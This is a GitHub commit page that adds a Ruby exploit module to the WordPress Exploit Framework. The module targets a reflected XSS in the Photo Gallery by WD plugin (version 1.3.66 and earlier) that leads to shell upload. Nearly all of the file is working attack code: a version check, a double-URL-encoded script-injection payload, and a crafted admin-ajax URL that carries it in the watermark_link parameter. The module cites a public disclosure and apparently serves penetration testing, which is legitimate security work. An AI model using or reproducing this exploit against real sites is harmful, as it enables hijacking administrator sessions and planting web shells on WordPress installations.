This repository was archived by the owner on Oct 22, 2020. It is now read-only.
File tree Expand file tree Collapse file tree 1 file changed +46
-0
lines changed
modules/exploit/xss/reflected Expand file tree Collapse file tree 1 file changed +46
-0
lines changed Original file line number Diff line number Diff line change 1+ # frozen_string_literal: true
2+
3+ class Wpxf ::Exploit ::PhotoGalleryReflectedXssShellUpload < Wpxf ::Module
4+ include Wpxf ::WordPress ::ReflectedXss
5+
6+ def initialize
7+ super
8+
9+ update_info (
10+ name : 'Photo Gallery by WD <= 1.3.66 Reflected XSS Shell Upload' ,
11+ author : [
12+ 'Karim El Ouerghemmi' , # Dislosure
13+ 'rastating' # WPXF module
14+ ] ,
15+ references : [
16+ [ 'WPVDB' , '9031' ]
17+ ] ,
18+ date : 'Feb 22 2018'
19+ )
20+
21+ register_options ( [
22+ IntegerOption . new (
23+ name : 'gallery_id' ,
24+ desc : 'A valid Photo Gallery gallery ID' ,
25+ required : true
26+ ) ,
27+ IntegerOption . new (
28+ name : 'image_id' ,
29+ desc : 'A valid ID of an image within the chosen gallery' ,
30+ required : true
31+ )
32+ ] )
33+ end
34+
35+ def check
36+ check_plugin_version_from_readme ( 'photo-gallery' , '1.3.67' )
37+ end
38+
39+ def xss_payload
40+ url_encode ( url_encode ( "\" ><script>#{ xss_ascii_encoded_include_script } </script>" ) )
41+ end
42+
43+ def url_with_xss
44+ "#{ wordpress_url_admin_ajax } ?action=GalleryBox&gallery_id=#{ datastore [ 'gallery_id' ] } &image_id=#{ datastore [ 'image_id' ] } &watermark_link=#{ xss_payload } &watermark_type=image"
45+ end
46+ end
You can’t perform that action at this time.
0 commit comments